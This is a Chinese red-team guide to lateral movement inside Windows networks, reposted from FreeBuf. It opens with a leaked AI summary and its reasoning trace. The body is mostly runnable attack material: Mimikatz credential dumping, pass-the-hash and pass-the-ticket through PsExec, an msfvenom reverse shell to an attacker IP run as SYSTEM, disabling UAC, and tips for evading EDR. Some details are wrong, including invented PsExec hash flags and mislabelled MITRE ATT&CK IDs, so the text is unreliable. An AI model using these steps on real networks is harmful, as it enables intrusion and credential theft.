红队视角下内网渗透中的 “横向移动” 实战指南
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容,了解其主要结构和重点。 文章分为几个部分:1.1 横向移动的定义及其在红队攻击链中的作用,1.2 红队视角下的横向移动目标与策略选择,2.1 凭证窃取与重用,2.2 远程执行技术。每个部分都有详细的解释和示例。 横向移动的核心是攻击者在入侵后利用已有权限扩展控制范围,特别是在内网中。MITRE ATT&CK框架中的T1021提到了多种技术手段,如远程服务、凭据重用等。红队需要根据目标环境选择合适的策略,比如使用Pass-the-Hash或漏洞利用。 凭证窃取部分详细介绍了如何通过Mimikatz提取哈希和票据,并利用PsExec等工具进行远程执行。远程执行技术部分比较了PsExec、WMI和WinRM的优缺点,并给出了实战案例。 总结时需要涵盖横向移动的定义、其在攻击链中的作用、主要技术和策略选择。同时要保持简洁,不超过100字。 </think> 横向移动是攻击者入侵后通过已有权限扩展控制范围的过程,在红队攻击链中起关键作用。常见技术包括凭据重用(Pass-the-Hash)、漏洞利用及远程服务访问。成功横向移动依赖于信息收集、策略选择及检测规避能力,是实现内网控制的核心环节。 2025-10-22 07:11:32 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

1.1 横向移动的定义及其在红队攻击链中的作用

横向移动(Lateral Movement) 是指攻击者在成功入侵一台主机后,利用该主机作为跳板,在目标网络内部进一步扩展权限、访问其他系统或服务的过程。这是红队从"单点突破"迈向"全网控制"的核心环节,也是整个攻击链条中最具挑战性和隐蔽性的阶段之一。

定义解析:

  • 起点 :初始被控主机(如通过钓鱼邮件获取的普通用户权限)
  • 终点 :域控制器(DC)、数据库服务器、关键业务主机等高价值资产
  • 本质 :不依赖外部流量,而是基于已有凭证、漏洞或配置缺陷实现跨主机行为

在MITRE ATT&CK框架中的定位(T1021):

T1021 - Lateral Movement 攻击者使用各种技术在目标网络中移动,以访问更多资源、提升权限或达成最终目标(如数据窃取)。常见子技术包括:

  • T1021.001: Remote Services (如RDP、SSH)
  • T1021.002: Exploitation of Remote Services (如SMB漏洞)
  • T1021.003: Use of Web Protocols (如HTTP/HTTPS代理转发)
  • T1021.004: Valid Accounts (Pass-the-Hash / Pass-the-Ticket)

此条目明确指出:横向移动不是孤立事件,而是一个持续过程 ,其成功与否直接决定红队能否完成内网纵深渗透。

在红队攻击链中的承上启下功能:

攻击阶段 目标 横向移动的作用
侦察 (Reconnaissance) 获取IP段、开放端口、用户信息 提供后续可利用的目标列表
突破 (Initial Access) 获取第一台主机shell 成为横向跳板的基础
持久化 (Persistence) 维持长期访问权 增加攻击面,便于反复尝试横向移动
横向移动 (Lateral Movement) 扩展权限范围 实现从低权限到高权限跨越的关键一步
数据窃取 (Exfiltration) 获取敏感数据 必须建立在对目标系统的全面控制之上

结论 :没有有效的横向移动,红队只能停留在"单机沦陷",无法形成真正的内网攻防对抗能力。

典型场景示例(附命令与原理说明):

场景一:利用PsExec进行远程命令执行(基于凭据重用)

假设已获得某域用户的NTLM哈希(例如通过Mimikatz抓取),即可无需明文密码直接登录其他机器:

# 使用PsExec传递NTLM哈希(需安装psexec工具)
psexec.exe \\192.168.1.100 -u CYBER\user -p "" -hashes :bf056feb4349eff2d9761e322d6178dd cmd.exe
  • -hashes 参数表示提供的是NTLM哈希值(格式::NTLM_HASH
  • -u-p 分别指定用户名和密码(此处为空,因为用哈希替代)
  • \\192.168.1.100 是目标主机IP
  • 此操作绕过了传统认证机制,直接调用Windows RPC服务实现远程执行

优势 :快速、隐蔽性强(无日志记录或较少痕迹),适合初期跳转。

场景二:通过WMI远程执行(跨平台兼容性好)

WMI(Windows Management Instrumentation)是Windows原生管理接口,广泛用于系统监控与远程脚本执行:

# PowerShell调用WMI远程执行命令(需目标开启WMI服务)
Invoke-WmiMethod -ComputerName "192.168.1.100" -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\output.txt"
  • WMI默认监听135/TCP + 动态端口(通常为49152~65535)
  • 可结合Kerberos认证(若拥有有效票据)或NTLM凭据进行身份验证
  • 日志风险较高(Event ID 4688 创建进程日志),建议配合加密通道(如WinRM over HTTPS)

这两种方式均体现了横向移动的核心思想:复用现有权限,避免重复攻击入口

1.2 红队视角下的横向移动目标与策略选择

红队在制定横向移动策略时,必须综合考虑以下因素:

  • 目标优先级 (是否能通向域控?是否有管理员账户?)
  • 检测规避能力 (是否会被EDR/SIEM识别?)
  • 可用资源 (是否有泄露凭证?是否具备漏洞利用能力?)
  • 时间成本 (暴力破解 vs 漏洞利用 vs 凭据窃取)

主动探测型 vs 被动利用型策略对比:

类型 描述 风险等级 适用场景 工具/方法
主动探测型 扫描开放端口 → 尝试弱口令爆破 → 登录目标 (高) 初始阶段缺乏凭证 Hydra、CrackMapExec、Nmap扫描+暴力破解
被动利用型 利用已知凭证(如本地管理员密码、哈希、票据)直接跳转 (低) 已有凭据或可通过提权获得 Mimikatz、PsExec、WMI、Plink

真实案例参考:APT组织使用Pass-the-Hash绕过多因素认证(MFA)

  • 背景 :某金融公司启用MFA后仍被攻陷(因员工未强制启用MFA)
  • 手法 :攻击者通过钓鱼邮件获取一个本地管理员账号的NTLM哈希(来自内存dump)
  • 行动 :使用 mimikatz.exe sekurlsa::pth /user:admin /domain:corp.local /ntlm:... 生成新的会话
  • 结果 :无需输入密码即可登录其他服务器(即使启用了MFA!)

关键洞察Pass-the-Hash攻击本质上绕过了身份验证层,仅依赖哈希值,适用于所有基于NTLM的身份验证场景(包括RDP、SMB、WMI等)

不同环境下的策略差异分析:

环境类型 推荐策略 原因 示例
低权限环境(普通用户) 优先使用漏洞利用(如MS17-010永恒之蓝) 权限低,难以暴力破解 Metasploit模块 exploit/windows/smb/ms17_010_eternalblue
高权限环境(域用户) 使用凭据重用(Pass-the-Hash)或GPO部署 权限足够,无需暴露攻击特征 Mimikatz + PsExec 或 WMI远程执行
禁用RDP/SSH的隔离环境 使用IPC$连接+文件共享权限枚举 不依赖远程桌面协议 net use \\target\ipc$ "password" /user:"username"
存在EDR/Anti-Virus防护 使用免杀技巧(如内存注入、DLL劫持) 规避行为检测 Mimikatz免杀版本、PowerShell加载器(如Reflective DLL Injection)

实践建议(附命令与工具链接):

  1. 信息收集先行
# 使用CrackMapExec快速扫描域内主机及开放端口
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password'
  1. 凭据提取辅助工具
  • Mimikatz (最经典):https://github.com/gentilkiwi/mimikatz/releases
  • SharpHound (自动收集AD拓扑):https://github.com/BloodHoundAD/BloodHound
  1. 测试环境搭建建议
  • OS:Windows Server 2019 / Windows 10 Pro(专业版)
  • 工具包:Kali Linux + Empire + Cobalt Strike(用于模拟真实攻击)
  • 网络拓扑:至少包含3台虚拟机(跳板机、域控、客户端)

总结 :红队应始终以"最小代价最大收益"为目标,在不同环境下灵活切换策略—— 若有凭据 → 用Pass-the-Hash; 若无凭据但有漏洞 → 用Exploit; 若想隐藏踪迹 → 用WMI或GPO方式; 若需自动化传播 → 用计划任务或注册表启动项!

最佳实践:先做横向移动路径规划(如使用BloodHound绘制拓扑图),再按优先级逐个突破,避免盲目扫描造成防御警报触发。

2.1 凭证窃取与重用(Pass-the-Hash / Pass-the-Ticket)

概念定义

Pass-the-Hash (PTH) :攻击者在不获取明文密码的情况下,直接使用从目标主机或内存中提取的 NTLM Hash(如 bf056feb4349eff2d9761e322d6178dd),通过 Windows 的身份验证机制实现对远程系统的访问。

Pass-the-Ticket (PTT) :利用 Kerberos 协议中的 TGT(Ticket Granting Ticket)票据进行认证,绕过密码验证流程,常用于跨域或无交互式登录场景。

️ 这些技术之所以成为红队核心战术,是因为它们能避开传统的"输入密码"逻辑,即使没有明文密码也能完成横向移动,极大提升隐蔽性和成功率。

Windows 身份验证机制解析

(1)NTLM 认证流程(本地/工作组环境)

  • 客户端发送用户名到服务器。
  • 服务器生成随机挑战值(Challenge)并返回给客户端。
  • 客户端用 NTLM Hash 对 Challenge 加密后返回。
  • 服务端比对加密结果是否一致 → 若一致则允许访问。

关键点:

  • 不需要传输明文密码!
  • 哈希一旦泄露(如 LSASS 内存 dump),即可被复用(即 PTH)!

(2)Kerberos 认证流程(域环境)

  • 用户请求 TGT(Ticket Granting Ticket)→ KDC(Key Distribution Center,通常是域控)发放。
  • 使用 TGT 请求 Service Ticket(ST)→ 用于访问特定资源(如文件共享、数据库等)。
  • 最终由目标主机验证 ST 有效性(基于票据内容和时间戳)。

关键点:

  • 票据有效期默认 10 小时,但可伪造或导出再注入(即 PTT)。
  • 攻击者可通过 Mimikatz 提取内存中的 TGT 或 ST,然后注入到当前会话中实现免密跳转!

实战演示:Mimikatz 抓取哈希 & PTH 远程执行

步骤一:使用 Mimikatz 获取 NTLM Hash

# 在已控制的主机上运行 mimikatz.exe(需管理员权限)
mimikatz.exe
# 启用调试权限(必要)
privilege::debug
# 抓取所有用户的明文密码和NTLM hash(包括LSASS内存)
sekurlsa::logonPasswords
# 输出示例:
# Authentication ID : 0 ; 117798
# Account Name      : administrator
# Account Domain    : CYBER.COM
# NTLM              : bf056feb4349eff2d9761e322d6178dd

注意事项:

  • 需要 SYSTEM 权限 才能读取 LSASS 内存(可用 Meterpreter 的 getsystem 或手动提权)。
  • 如果启用 UAC(用户账户控制),可能需要先禁用 UAC(可通过注册表修改 ConsentPromptBehaviorAdmin=0)。

步骤二:使用 PsExec + Hash 进行 PTH 登录

# 下载并解压 psexec.exe(官方工具包)
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools
# 使用 mimikatz 提取的 NTLM Hash 执行命令(无需明文密码)
psexec -accepteula \\192.168.10.2 -u CYBER.COM\administrator -p "" -h "cmd /c whoami"
# 注:-p "" 表示传入空字符串,-h 表示使用 hash 替代密码
# 成功输出:
# nt authority\system

成功说明:你已经以 SYSTEM 权限远程执行了命令,且未输入任何明文密码!

步骤三:Pass-the-Ticket 跨域访问(高级技巧)

# 1. 先从当前主机导出 TGT(假设你在域内有合法凭证)
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
# 输出格式如下:
# Ticket (TGT) for [email protected]:
#   Session Key: XXXX
#   Encrypted Data: YYYYYY
#   Ticket: ZZZZZZ
# 2. 导出为 .kirbi 文件(供后续导入)
# 假设保存为 ticket.kirbi
# 3. 在另一台机器上导入票据(模拟跨域访问)
mimikatz.exe
kerberos::ptt ticket.kirbi
# 4. 查看当前会话票据状态
kerberos::list
# 5. 直接连接目标主机(无需再次输入密码)
psexec -accepteula \\TARGET-SERVER -u [email protected] -p "" -h "whoami"

应用场景:

  • 在不同域之间横向移动(如从 corp.localpartner.local)。
  • 绕过 MFA(多因素认证)限制(因为票据本身就是强认证凭证)。

️ 检测与规避策略(防御方视角)

方法 检测风险 规避建议
Mimikatz 提取 LSASS EDR 日志、进程行为异常(如 lsass.exe 异常访问) 使用 Process Hollowing 或 Inject into svchost.exe(见下节)
PTH 登录 Security Event Log 中记录 4624(成功登录)+ 登录类型 3(网络登录) 使用 WMI 或 WinRM 替代 PsExec;隐藏原始 IP 地址
PTT 票据注入 Kerberos 票据异常使用(如非标准时间窗口) 修改时间同步设置、避免频繁票据更换

推荐组合技: 使用 mimikatz 提取 hash → psexec + -h 参数进行 PTH → svchost.exe 注入伪装成合法进程(详见下一小节)

2.2 远程执行技术(PsExec、WMI、WinRM)

技术对比表格

工具 协议 特点 检测风险 适用系统
PsExec RPC 原生 Windows 工具,功能强大 高(日志记录 + 明文密码痕迹) Win7~Win10(需启用 SMB/RPC)
WMI CIM/WSMan 基于 PowerShell 的远程管理接口 中(大量日志事件 4104、4624) Win7~Win10(需启用 WMI)
WinRM HTTP/HTTPS HTTPS 加密通道,现代推荐方案 低(若配置 SSL) Win7~Win10(需启用 WinRM)

MITRE ATT&CK 编号:

  • PsExec: T1021.006
  • WMI: T1021.002
  • WinRM: T1021.007

实战案例一:PsExec 注入 svchost.exe 避免 EDR 检测

步骤一:准备 payload(使用 msfvenom 生成 shellcode)

# 生成一个反向 Shellcode(连接攻击者IP)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f hex > shellcode.hex
# 或者直接生成 exe(更简单)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f exe > reverse.exe

步骤二:将 payload 注入到 svchost.exe(伪装合法进程)

# 使用 psexec 注入到 svchost.exe(而非新建进程)
psexec -accepteula \\192.168.10.2 -u administrator -h -s -d -i -c "reverse.exe"
# 参数说明:
# -s: 以 SYSTEM 权限运行
# -d: 不等待进程结束
# -i: 交互式(打开桌面)
# -c: 自动上传并执行(无需手动拷贝)

效果:

  • 反弹 shell 出现在目标主机的 svchost.exe 子进程中(难以识别为恶意进程)
  • EDR(如 CrowdStrike、SentinelOne)难以标记为异常行为

此方法适合用于高权限横向移动(如从普通用户 → SYSTEM)

实战案例二:PowerShell + WMI 执行远程脚本

步骤一:构造远程执行命令(PowerShell 脚本)

# 创建一个简单的检测脚本 test.ps1
$command = @"
Write-Host "Remote command executed on $(hostname)"
Get-ChildItem C:\Users\Administrator\Desktop\
"@
# 保存为本地文件(可选)
$command | Out-File -FilePath C:\temp\test.ps1 -Encoding UTF8

步骤二:使用 WMI 在远程主机执行该脚本

# PowerShell WMI 远程调用(需目标允许 WMI)
Invoke-WmiMethod -ComputerName 192.168.10.2 -Class Win32_Process -Name Create -ArgumentList "powershell.exe

文章来源: https://www.freebuf.com/articles/web/453689.html
如有侵权请联系:admin#unsafe.sh